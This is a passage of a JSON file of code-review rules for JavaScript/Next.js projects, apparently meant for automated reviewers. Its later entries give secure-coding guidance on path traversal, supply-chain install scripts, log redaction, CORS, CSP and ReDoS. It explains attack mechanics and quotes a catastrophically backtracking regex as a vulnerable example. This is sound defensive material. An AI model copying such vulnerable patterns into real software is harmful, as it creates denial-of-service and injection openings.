silently stop happening.","apiRule":"Use for...of so assertions definitely run and async callbacks behave; an async forEach callback can let assertions silently stop happening. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid conditional assertions in tests","rule":"Tests should assert deterministically; an assertion guarded by an `if` may never run and silently passes — make the expectation unconditional.","apiRule":"Tests should assert deterministically; an assertion guarded by an `if` may never run and silently passes — make the expectation unconditional. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't reach for a classname helper when there's a single static class","rule":"Using clsx/classnames for exactly one unconditional class is unnecessary indirection; pass the string directly.","apiRule":"Using clsx/classnames for exactly one unconditional class is unnecessary indirection; pass the string directly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"List required props before optional ones in component/type definitions","rule":"Order props/parameters with required ones first and optional ones after for consistency and readability.","apiRule":"Order props/parameters with required ones first and optional ones after for consistency and readability. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Extract a complex or repeated boolean condition into a named predicate","rule":"Give a long or reused conditional a descriptive name (function/getter) so the call site reads as intent rather than mechanics.","apiRule":"Give a long or reused conditional a descriptive name (function/getter) so the call site reads as intent rather than mechanics. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Register shared/global listeners once, not on every instance","rule":"Hooking up an observer or event listener tied to shared (static) state inside a constructor that runs per instance leaks listeners; register it a single time.","apiRule":"Hooking up an observer or event listener tied to shared (static) state inside a constructor that runs per instance leaks listeners; register it a single time. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Guard localStorage by wrapping access in try/catch, not just checking it exists","rule":"Checking that window.localStorage exists doesn't prevent throws — Safari private mode throws on read/write — so wrap the actual access.","apiRule":"Checking that window.localStorage exists doesn't prevent throws — Safari private mode throws on read/write — so wrap the actual access. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"An AbortController you create must actually be used to abort, or removed","rule":"Don't instantiate an AbortController and never call abort(); either wire it up to cancel stale requests or delete it.","apiRule":"Don't instantiate an AbortController and never call abort(); either wire it up to cancel stale requests or delete it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Log errors before returning or swallowing them","rule":"Don't silently eat caught errors with an empty catch; log them (at least in development) so failures are diagnosable.","apiRule":"Don't silently eat caught errors with an empty catch; log them (at least in development) so failures are diagnosable. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Let services own failure detail and return a value-or-null, not transport codes","rule":"A service method should return the thing (or null) and handle its own failures; callers shouldn't translate internal failure modes into arbitrary HTTP status codes.","apiRule":"A service method should return the thing (or null) and handle its own failures; callers shouldn't translate internal failure modes into arbitrary HTTP status codes. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Share one type across the client/server boundary instead of redefining it","rule":"Define a payload type once and import it on both sides; duplicated client and server types silently drift apart.","apiRule":"Define a payload type once and import it on both sides; duplicated client and server types silently drift apart. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Sanitize upload filenames and contain the resolved path within a base directory","rule":"Generate server-side storage names and verify the resolved absolute path stays under the intended directory; never build paths from a client-supplied filename.","apiRule":"Generate server-side storage names and verify the resolved absolute path stays under the intended directory; never build paths from a client-supplied filename. `path.join` happily normalizes `../` segments, so a crafted `originalFilename` escapes `UPLOAD_DIR` and writes anywhere the process can — overwriting config, cron jobs, or app code. Using the raw filename for the stored object is the canonical path-traversal sink (OWASP A01). Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use `node:path` primitives, not string concatenation. NUL-byte and Unicode-normalization tricks are why an explicit `startsWith(base + sep)` containment check beats a naive `replace('..','')` blocklist. Exceptions: The same containment check applies to any download/serve endpoint that maps a user-supplied id or name to a file (e.g. `GET /files/:name`) — resolve and assert it's under the base directory before reading. If you store the display filename, escape it at render and set `Content-Disposition: attachment; filename=...` carefully to avoid header injection.","whyItMatters":"`path.join` happily normalizes `../` segments, so a crafted `originalFilename` escapes `UPLOAD_DIR` and writes anywhere the process can — overwriting config, cron jobs, or app code. Using the raw filename for the stored object is the canonical path-traversal sink (OWASP A01).","priority":"p0","scope":"universal"},{"title":"Audit dependencies for known vulnerabilities as a CI gate","rule":"Run a dependency vulnerability audit in CI that fails on high/critical advisories; if you silence audit at install time, ensure a real audit runs elsewhere.","apiRule":"Run a dependency vulnerability audit in CI that fails on high/critical advisories; if you silence audit at install time, ensure a real audit runs elsewhere. `audit=false` is a reasonable way to keep install output clean, but with no compensating scan the project has zero visibility into known-vulnerable dependencies. Known CVEs in transitive packages (OWASP A06) are among the easiest things for attackers to find and the easiest for teams to miss. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Audits produce false positives and unfixable transitive advisories; triage with an allowlist of reviewed advisory IDs (with expiry) rather than disabling the gate entirely. Pin the audit level (high/critical) to avoid alert fatigue from low-severity noise.","whyItMatters":"`audit=false` is a reasonable way to keep install output clean, but with no compensating scan the project has zero visibility into known-vulnerable dependencies. Known CVEs in transitive packages (OWASP A06) are among the easiest things for attackers to find and the easiest for teams to miss.","priority":"p1","scope":"universal"},{"title":"Pin private scopes to their registry and reference auth tokens from the environment","rule":"Map private scopes to your private registry to prevent dependency-confusion, and keep registry auth tokens in env vars (${VAR}) rather than literal values in .npmrc.","apiRule":"Map private scopes to your private registry to prevent dependency-confusion, and keep registry auth tokens in env vars (${VAR}) rather than literal values in .npmrc. A literal token in .npmrc gets committed and leaks the moment the repo is cloned or shared. Without a scope→registry mapping, a private dependency can be resolved from the public registry, letting an attacker hijack it by publishing a same-named package — the dependency-confusion attack. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: None for the token-in-env rule. Scope pinning applies wherever you consume private/internal packages; a purely public-dependency project has no scope to pin.","whyItMatters":"A literal token in .npmrc gets committed and leaks the moment the repo is cloned or shared. Without a scope→registry mapping, a private dependency can be resolved from the public registry, letting an attacker hijack it by publishing a same-named package — the dependency-confusion attack.","priority":"p1","scope":"universal"},{"title":"Disable arbitrary install lifecycle scripts and allow them per-package","rule":"Block postinstall/preinstall scripts by default (ignore-scripts or pnpm's allowlist) so a compromised transitive package cannot run arbitrary code on install.","apiRule":"Block postinstall/preinstall scripts by default (ignore-scripts or pnpm's allowlist) so a compromised transitive package cannot run arbitrary code on install. By default npm/pnpm run every dependency's preinstall/install/postinstall scripts. A single hijacked transitive package can exfiltrate env vars, tokens, and SSH keys at install time — no `import` of the package is ever required. This is the dominant npm supply-chain attack pattern. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Some packages (esbuild, sharp, native addons) legitimately need a build step — allowlist those explicitly via pnpm onlyBuiltDependencies or run an audited install. First-party scripts in your own package.json are fine since they are version-controlled and reviewed.","whyItMatters":"By default npm/pnpm run every dependency's preinstall/install/postinstall scripts. A single hijacked transitive package can exfiltrate env vars, tokens, and SSH keys at install time — no `import` of the package is ever required. This is the dominant npm supply-chain attack pattern.","priority":"p1","scope":"universal"},{"title":"Pin transitive dependencies with a committed lockfile and frozen installs in CI","rule":"Always commit the lockfile and use frozen/locked installs in CI and image builds so the exact dependency tree is reproducible and not re-resolved at deploy time.","apiRule":"Always commit the lockfile and use frozen/locked installs in CI and image builds so the exact dependency tree is reproducible and not re-resolved at deploy time. `npm install` (or `pnpm install` without a lockfile) re-resolves caret ranges against the live registry at build time, so two builds of the same commit can pull different transitive versions — including a freshly published malicious patch. Ignoring the lockfile removes the only record of the audited tree. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Local exploratory work where you intentionally add/upgrade packages uses a normal install (which updates the lockfile). The frozen/immutable flag is for CI, image builds, and any non-interactive deploy path.","whyItMatters":"`npm install` (or `pnpm install` without a lockfile) re-resolves caret ranges against the live registry at build time, so two builds of the same commit can pull different transitive versions — including a freshly published malicious patch. Ignoring the lockfile removes the only record of the audited tree.","priority":"p0","scope":"universal"},{"title":"Store uploads outside the webroot and serve them with safe headers","rule":"Never place user uploads in an executable/served directory; keep them outside the webroot or in object storage and serve via a handler that forces nosniff, a safe Content-Type, and attachment disposition.","apiRule":"Never place user uploads in an executable/served directory; keep them outside the webroot or in object storage and serve via a handler that forces nosniff, a safe Content-Type, and attachment disposition. Writing uploads into a statically-served directory means they are reachable at a guessable URL with whatever Content-Type the static handler infers from the extension. A stored .html or .svg then executes scripts in your origin (stored XSS), and on misconfigured servers an uploaded script may be executed (RCE). The files also bypass any auth/authorization your app enforces. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Covers OWASP A05 (security misconfiguration) and the File Upload Cheat Sheet's 'serve from a different domain' guidance. The header trio (correct Content-Type + nosniff + Content-Disposition) is the minimum for any user-content handler. Exceptions: Object storage (S3/GCS/Azure Blob) satisfies the 'outside webroot' requirement; still set the stored object's Content-Type and disposition explicitly and serve via signed, expiring URLs rather than public-read buckets for non-public content. Public CDN delivery of pre-validated images is fine when the bucket is not your app origin.","whyItMatters":"Writing uploads into a statically-served directory means they are reachable at a guessable URL with whatever Content-Type the static handler infers from the extension. A stored .html or .svg then executes scripts in your origin (stored XSS), and on misconfigured servers an uploaded script may be executed (RCE). The files also bypass any auth/authorization your app enforces.","priority":"p1","scope":"universal"},{"title":"Enforce size and count limits on uploads before buffering the body","rule":"Declare per-file size, file-count, and total-request caps in the upload parser/middleware so oversized payloads are rejected with 413 before they hit memory or disk.","apiRule":"Declare per-file size, file-count, and total-request caps in the upload parser/middleware so oversized payloads are rejected with 413 before they hit memory or disk. With no `limits`, Multer buffers the entire upload regardless of size, and `memoryStorage` keeps it all in RAM. An attacker (or a buggy client) can exhaust memory with one request, or send many files in one multipart body. This is a classic uncontrolled-resource-consumption DoS. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Defense in depth: enforce limits at the proxy AND in app code, because the proxy guards the process and the app guards business rules. Exceptions: Legitimately large uploads (video, datasets) should use chunked/resumable uploads or direct-to-storage pre-signed URLs with the limit enforced by the storage provider, rather than raising the in-process buffer cap to a dangerous value.","whyItMatters":"With no `limits`, Multer buffers the entire upload regardless of size, and `memoryStorage` keeps it all in RAM. An attacker (or a buggy client) can exhaust memory with one request, or send many files in one multipart body. This is a classic uncontrolled-resource-consumption DoS.","priority":"p1","scope":"universal"},{"title":"Validate upload type by sniffing content, not the Content-Type header","rule":"Determine an uploaded file's type from its actual bytes (magic number) and check against an allowlist — never trust the client-sent MIME type or extension.","apiRule":"Determine an uploaded file's type from its actual bytes (magic number) and check against an allowlist — never trust the client-sent MIME type or extension. The `filter` only inspects the multipart `Content-Type` header, which is fully controlled by the uploader. An attacker labels a script or HTML file as `image/png` and it passes; the server then stores and may serve a hostile payload. This is a real pattern that ships in many Next.js upload routes. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Maps to OWASP File Upload Cheat Sheet and ASVS V12.1. The header/extension are hints for UX only; the byte signature is the authority. Exceptions: When you delegate storage to a pre-signed URL or a managed service (S3, Cloudinary), still sniff content server-side before issuing the URL or validate via the provider's content checks — don't skip validation just because bytes don't touch your disk. Magic-byte detection does not validate text-based formats (SVG, CSV, HTML); treat those separately.","whyItMatters":"The `filter` only inspects the multipart `Content-Type` header, which is fully controlled by the uploader. An attacker labels a script or HTML file as `image/png` and it passes; the server then stores and may serve a hostile payload. This is a real pattern that ships in many Next.js upload routes.","priority":"p0","scope":"universal"},{"title":"Mask PII when displaying or logging it (last-4, partial email)","rule":"Render and log PII in masked form by default (e.g. j••@example.com, ****1234). Reveal full values only behind an explicit, access-controlled action and never in logs.","apiRule":"Render and log PII in masked form by default (e.g. j••@example.com, ****1234). Reveal full values only behind an explicit, access-controlled action and never in logs. Emitting full email, full card number, and SSN both to logs and the UI maximizes exposure: log access, screen sharing, screenshots, browser history, and shoulder-surfing all become leak vectors. Full card/SSN in logs can also breach PCI/GDPR obligations. There is rarely a functional reason to show the complete value. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A user viewing their own data may legitimately need to see their full email or other non-financial identifiers; financial identifiers (full card/SSN) should stay masked even there. Masking format may vary by locale/regulation.","whyItMatters":"Emitting full email, full card number, and SSN both to logs and the UI maximizes exposure: log access, screen sharing, screenshots, browser history, and shoulder-surfing all become leak vectors. Full card/SSN in logs can also breach PCI/GDPR obligations. There is rarely a functional reason to show the complete value.","priority":"p1","scope":"universal"},{"title":"Never pass server secrets or full records into client-rendered props","rule":"Sanitize data before returning it from getServerSideProps / Server Components into client props. Server-only tokens, internal fields, and other users' PII embedded in props ship to the browser in the page HTML.","apiRule":"Sanitize data before returning it from getServerSideProps / Server Components into client props. Server-only tokens, internal fields, and other users' PII embedded in props ship to the browser in the page HTML. Everything in `props` is serialized into the page HTML (`__NEXT_DATA__`) and visible via View Source — no devtools needed. Returning `session` ships the access/refresh tokens to the browser; returning the full `user` ships email and internal flags. The code 'runs on the server', but the output is fully public. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Public, non-sensitive config (feature flags, public API base URLs) is fine to pass through props. The rule targets secrets, auth tokens, and PII beyond what the page must display.","whyItMatters":"Everything in `props` is serialized into the page HTML (`__NEXT_DATA__`) and visible via View Source — no devtools needed. Returning `session` ships the access/refresh tokens to the browser; returning the full `user` ships email and internal flags. The code 'runs on the server', but the output is fully public.","priority":"p0","scope":"stack-specific"},{"title":"Return generic errors to clients; keep detail in logs with a correlation id","rule":"Send clients a generic message and a correlation/request id. Never serialize raw exception messages, stack traces, DB errors, or upstream error bodies into the HTTP response.","apiRule":"Send clients a generic message and a correlation/request id. Never serialize raw exception messages, stack traces, DB errors, or upstream error bodies into the HTTP response. Returning `err.message`/`err.stack` exposes file paths, framework and library versions, SQL fragments, and sometimes leaked data values straight to the attacker. It turns every 500 into reconnaissance. Serializing the whole `err` can also drag in request config containing tokens. This is OWASP A05 (Security Misconfiguration) / information disclosure. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Validation errors (400) may and should be specific about which field failed and why, since that is actionable for the legitimate caller and reveals nothing internal. The generic-message rule applies to 500-class and unexpected errors.","whyItMatters":"Returning `err.message`/`err.stack` exposes file paths, framework and library versions, SQL fragments, and sometimes leaked data values straight to the attacker. It turns every 500 into reconnaissance. Serializing the whole `err` can also drag in request config containing tokens. This is OWASP A05 (Security Misconfiguration) / information disclosure.","priority":"p1","scope":"universal"},{"title":"Return explicit field projections, never raw DB rows or upstream payloads","rule":"Map server responses to an explicit DTO/projection of fields the client actually needs. Never return a full database entity, ORM model, or upstream API payload directly to the client.","apiRule":"Map server responses to an explicit DTO/projection of fields the client actually needs. Never return a full database entity, ORM model, or upstream API payload directly to the client. Returning the entity ships every column to the client — password hashes, email addresses, internal role flags, soft-delete timestamps. Clients (and attackers) read it straight from devtools or the network tab. New columns added later silently join the leak. This is OWASP A01 (Broken Access Control) via excessive data exposure. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Trusted internal service-to-service calls behind a network boundary may pass richer payloads, but anything reachable by a browser or third party must be projected. When the client genuinely needs many fields, still define the DTO explicitly rather than spreading the entity.","whyItMatters":"Returning the entity ships every column to the client — password hashes, email addresses, internal role flags, soft-delete timestamps. Clients (and attackers) read it straight from devtools or the network tab. New columns added later silently join the leak. This is OWASP A01 (Broken Access Control) via excessive data exposure.","priority":"p0","scope":"universal"},{"title":"Configure central log redaction for sensitive keys","rule":"Configure the logger with a global redaction list (authorization, cookie, set-cookie, password, token, secret, *.ssn, etc.) so sensitive fields are stripped even when a developer logs an object carelessly.","apiRule":"Configure the logger with a global redaction list (authorization, cookie, set-cookie, password, token, secret, *.ssn, etc.) so sensitive fields are stripped even when a developer logs an object carelessly. A bare `pino()` instance trusts every call site to never pass a sensitive value. That assumption fails the first time anyone logs a request, a config, or an axios error. With no central net, one careless `logger.info({ user })` where `user` later gains a `passwordHash` or `apiKey` field silently ships secrets to your log store. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Redaction paths must be kept in sync as data models grow — review them when adding new auth or PII fields. A wildcard like `*.token` only matches the key name, so normalize sensitive field names across the codebase.","whyItMatters":"A bare `pino()` instance trusts every call site to never pass a sensitive value. That assumption fails the first time anyone logs a request, a config, or an axios error. With no central net, one careless `logger.info({ user })` where `user` later gains a `passwordHash` or `apiKey` field silently ships secrets to your log store.","priority":"p1","scope":"stack-specific"},{"title":"Never log credentials, tokens, cookies, or whole request/error objects","rule":"Log only the specific scalar fields you need (status, route, request id). Never log auth headers, cookies, session tokens, passwords, or spread an entire request/user/error object into a log line.","apiRule":"Log only the specific scalar fields you need (status, route, request id). Never log auth headers, cookies, session tokens, passwords, or spread an entire request/user/error object into a log line. Logging the whole `req` serializes the `Authorization` and `Cookie` headers; logging `err` from a fetch often includes the request config (headers, body) and logging `sessionCookie` directly hands an attacker a live session. Anyone with log access — or a log-shipping pipeline, or a leaked log file — now has credentials. This is OWASP A09 (Security Logging Failures) feeding A07 (Auth Failures). Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Backed by OWASP A09:2021 and the OWASP Logging Cheat Sheet 'Data to exclude' list (passwords, session IDs, tokens, auth headers, full bank/payment data). Exceptions: In local development you may temporarily log more verbosely, but gate it behind an env check (e.g. NODE_ENV !== 'production') so it can never ship. Even then, never log raw passwords or tokens.","whyItMatters":"Logging the whole `req` serializes the `Authorization` and `Cookie` headers; logging `err` from a fetch often includes the request config (headers, body) and logging `sessionCookie` directly hands an attacker a live session. Anyone with log access — or a log-shipping pipeline, or a leaked log file — now has credentials. This is OWASP A09 (Security Logging Failures) feeding A07 (Auth Failures).","priority":"p0","scope":"universal"},{"title":"Enforce a maximum length on array/batch request inputs","rule":"Reject oversized arrays in request bodies (bulk IDs, batch operations, multi-item payloads) with a schema-level max length, so one request cannot trigger an unbounded fan-out of queries or downstream calls.","apiRule":"Reject oversized arrays in request bodies (bulk IDs, batch operations, multi-item payloads) with a schema-level max length, so one request cannot trigger an unbounded fan-out of queries or downstream calls. An unbounded `ids` array turns a single request into thousands of downstream calls, amplifying load far beyond what one client should be able to cause. It exhausts the upstream's rate budget, your connection pool, and memory — a classic resource-consumption amplification (OWASP API4). Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Genuine bulk-import flows may need larger batches; handle those via chunked/paginated processing with concurrency limits (e.g. a worker queue) and authn/authz, not by removing the cap. The cap value should match downstream rate limits and per-request cost.","whyItMatters":"An unbounded `ids` array turns a single request into thousands of downstream calls, amplifying load far beyond what one client should be able to cause. It exhausts the upstream's rate budget, your connection pool, and memory — a classic resource-consumption amplification (OWASP API4).","priority":"p1","scope":"universal"},{"title":"Apply stricter, identity-keyed rate limits to auth and expensive endpoints","rule":"Beyond a baseline per-IP limiter, protect login, password reset, OTP/verification, and costly operations with tighter limits keyed on the account/target identifier (and a backoff/lockout), to stop credential stuffing and resource abuse.","apiRule":"Beyond a baseline per-IP limiter, protect login, password reset, OTP/verification, and costly operations with tighter limits keyed on the account/target identifier (and a backoff/lockout), to stop credential stuffing and resource abuse. A single 1000/min/IP budget barely slows credential stuffing or OTP brute force, and it's keyed on IP only — a rotating proxy or a botnet sidesteps it entirely. Reset/verify endpoints can also be abused to spam emails/SMS at the victim, an amplification DoS (OWASP API4 / ASVS V2 anti-automation). Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Use a shared/distributed store (Redis) for the limiter when running multiple instances — an in-memory limiter resets per process and is trivially bypassed by load balancing. If your platform already enforces these limits at the edge/gateway, app-level limiters can be lighter but should still exist as defense-in-depth.","whyItMatters":"A single 1000/min/IP budget barely slows credential stuffing or OTP brute force, and it's keyed on IP only — a rotating proxy or a botnet sidesteps it entirely. Reset/verify endpoints can also be abused to spam emails/SMS at the victim, an amplification DoS (OWASP API4 / ASVS V2 anti-automation).","priority":"p1","scope":"universal"},{"title":"Set an explicit, tight request body size limit on every body-accepting endpoint","rule":"Configure a payload size cap (Express body-parser `limit`, Next.js `api.bodyParser.sizeLimit`, Nest `bodyLimit`) scoped to the real expected size, instead of relying on framework defaults or copy-pasting a large limit everywhere.","apiRule":"Configure a payload size cap (Express body-parser `limit`, Next.js `api.bodyParser.sizeLimit`, Nest `bodyLimit`) scoped to the real expected size, instead of relying on framework defaults or copy-pasting a large limit everywhere. Applying one large or implicit limit everywhere means a tiny JSON endpoint will happily buffer a 10MB payload. An attacker can fan out many large-but-valid requests to consume memory and parsing CPU. The limit should reflect what each endpoint actually needs. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: File-upload and import endpoints legitimately need larger limits, but pair them with streaming (disable the buffering parser), an early Content-Length check, and storage-side scanning rather than buffering the whole body in app memory.","whyItMatters":"Applying one large or implicit limit everywhere means a tiny JSON endpoint will happily buffer a 10MB payload. An attacker can fan out many large-but-valid requests to consume memory and parsing CPU. The limit should reflect what each endpoint actually needs.","priority":"p1","scope":"universal"},{"title":"Guard against ReDoS: no catastrophic backtracking, no user-built regex","rule":"Avoid regex patterns with nested/overlapping quantifiers on attacker-controlled strings, never compile regex from user input, and bound input length before matching to prevent event-loop-blocking ReDoS.","apiRule":"Avoid regex patterns with nested/overlapping quantifiers on attacker-controlled strings, never compile regex from user input, and bound input length before matching to prevent event-loop-blocking ReDoS. `([a-zA-Z0-9]+)+` has overlapping quantifiers; on a long string that ultimately fails to match, the regex engine explores exponentially many paths, blocking Node's single thread for seconds and stalling all concurrent requests. Building a `RegExp` from user input lets an attacker supply the malicious pattern directly. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Trusted, developer-authored patterns run against short, length-bounded inputs are generally fine. When dynamic patterns are unavoidable, run them through a linear-time engine (re2) and/or enforce a per-match timeout in a worker thread rather than the main event loop.","whyItMatters":"`([a-zA-Z0-9]+)+` has overlapping quantifiers; on a long string that ultimately fails to match, the regex engine explores exponentially many paths, blocking Node's single thread for seconds and stalling all concurrent requests. Building a `RegExp` from user input lets an attacker supply the malicious pattern directly.","priority":"p0","scope":"universal"},{"title":"Ship a strict Content-Security-Policy without unsafe-inline/unsafe-eval","rule":"Set an explicit CSP that disallows unsafe-inline and unsafe-eval, uses nonces or hashes for required inline scripts, and locks default-src down — as defense-in-depth against XSS and clickjacking.","apiRule":"Set an explicit CSP that disallows unsafe-inline and unsafe-eval, uses nonces or hashes for required inline scripts, and locks default-src down — as defense-in-depth against XSS and clickjacking. default-src * with 'unsafe-inline' and 'unsafe-eval' permits inline <script> blocks, injected event handlers, and eval-based payloads from any origin — exactly the vectors CSP exists to block. This policy passes scanners that only check 'a CSP header exists' while providing zero real XSS mitigation. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. OWASP CSP Cheat Sheet. frame-ancestors 'none' supersedes the legacy X-Frame-Options for clickjacking on modern browsers. Exceptions: Roll out with Content-Security-Policy-Report-Only first and a report endpoint to find breakage before enforcing. style-src 'unsafe-inline' is a common pragmatic concession (CSS injection is far lower risk than script) until you can hash/nonce styles. Third-party widgets may force specific host allowlist entries — add the exact host, not a wildcard.","whyItMatters":"default-src * with 'unsafe-inline' and 'unsafe-eval' permits inline <script> blocks, injected event handlers, and eval-based payloads from any origin — exactly the vectors CSP exists to block. This policy passes scanners that only check 'a CSP header exists' while providing zero real XSS mitigation.","priority":"p1","scope":"universal"},{"title":"Send a long-lived Strict-Transport-Security header on HTTPS responses","rule":"Set HSTS (Strict-Transport-Security) with max-age >= 1 year and includeSubDomains on all HTTPS responses, and redirect HTTP to HTTPS, to prevent protocol-downgrade and cookie-leak attacks.","apiRule":"Set HSTS (Strict-Transport-Security) with max-age >= 1 year and includeSubDomains on all HTTPS responses, and redirect HTTP to HTTPS, to prevent protocol-downgrade and cookie-leak attacks. With no HSTS, a network attacker can sslstrip the connection: the victim's first request over http:// is intercepted and never upgraded, leaking cookies and credentials. A max-age of 300s effectively disables the protection between visits, and omitting includeSubDomains leaves auth/api subdomains exploitable. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. OWASP HTTP Strict Transport Security Cheat Sheet. preload also requires no exclusions and a valid cert across all subdomains. Exceptions: Don't send HSTS over plain HTTP (it's ignored and signals confusion) or on localhost dev. Only add preload after you've committed to HTTPS-everywhere and submitted the domain — preload is hard to undo. If the proxy/CDN already injects HSTS, set it in one place, not both.","whyItMatters":"With no HSTS, a network attacker can sslstrip the connection: the victim's first request over http:// is intercepted and never upgraded, leaking cookies and credentials. A max-age of 300s effectively disables the protection between visits, and omitting includeSubDomains leaves auth/api subdomains exploitable.","priority":"p1","scope":"universal"},{"title":"Use a strict CORS origin allowlist; never combine wildcard/reflected origin with credentials","rule":"Restrict CORS to a known allowlist of origins. Never reflect the request Origin unchecked, and never send Access-Control-Allow-Credentials:true alongside Access-Control-Allow-Origin:*.","apiRule":"Restrict CORS to a known allowlist of origins. Never reflect the request Origin unchecked, and never send Access-Control-Allow-Credentials:true alongside Access-Control-Allow-Origin:*. Reflecting the Origin header back (or origin: true) means the browser treats every site as an allowed origin. With credentials:true, an attacker's page can issue authenticated cross-origin requests using the victim's cookies and read the responses. The hand-rolled version with '*' plus credentials is rejected by browsers but reveals the same flawed intent — and the reflected-origin fallback is exploitable. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. OWASP CORS Cheat Sheet. Validate the Origin allowlist server-side; CORS is a browser-enforced control, not server authorization — keep auth checks regardless. Exceptions: Truly public, credential-free APIs (no cookies, no Authorization) may use Access-Control-Allow-Origin: * — but then credentials MUST be omitted/false. Do not use substring/regex matching like origin.endsWith('example.com') which 'evil-example.com' or 'example.com.attacker.io' can defeat; match full origins exactly.","whyItMatters":"Reflecting the Origin header back (or origin: true) means the browser treats every site as an allowed origin. With credentials:true, an attacker's page can issue authenticated cross-origin requests using the victim's cookies and read the responses. The hand-rolled version with '*' plus credentials is rejected by browsers but reveals the same flawed intent — and the reflected-origin fallback is exploitable.","priority":"p0","scope":"universal"},{"title":"Re-validate on the server; client-side validation is never a security boundary","rule":"Always re-run validation server-side (in the API route / server action) even when the frontend validates — client checks are bypassable and exist only for UX.","apiRule":"Always re-run validation server-side (in the API route / server action) even when the frontend validates — client checks are bypassable and exist only for UX. Server Actions and API routes are public HTTP endpoints; the React form's Zod check never runs for an attacker who calls them directly. Trusting client validation here allows impersonation via a forged `authorId`, oversized payloads, and bypassed business rules — the server is the only place validation actually constrains anything. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Maps to OWASP A04:2021 Insecure Design and ASVS V5.1 (server-side input validation). Next.js Server Actions are public endpoints — treat their arguments as `unknown`. Exceptions: None for security-relevant input. Client validation should still exist for responsiveness, but it never replaces the server check.","whyItMatters":"Server Actions and API routes are public HTTP endpoints; the React form's Zod check never runs for an attacker who calls them directly. Trusting client validation here allows impersonation via a forged `authorId`, oversized payloads, and bypassed business rules — the server is the only place validation actually constrains anything.","priority":"p0","scope":"universal"},{"title":"Reject unknown keys and never deep-merge untrusted JSON (prototype pollution)","rule":"Make schemas reject unknown keys rather than silently strip them, and never recursively merge/assign parsed JSON onto an object — both let attackers smuggle fields, including prototype-pollution payloads.","apiRule":"Make schemas reject unknown keys rather than silently strip them, and never recursively merge/assign parsed JSON onto an object — both let attackers smuggle fields, 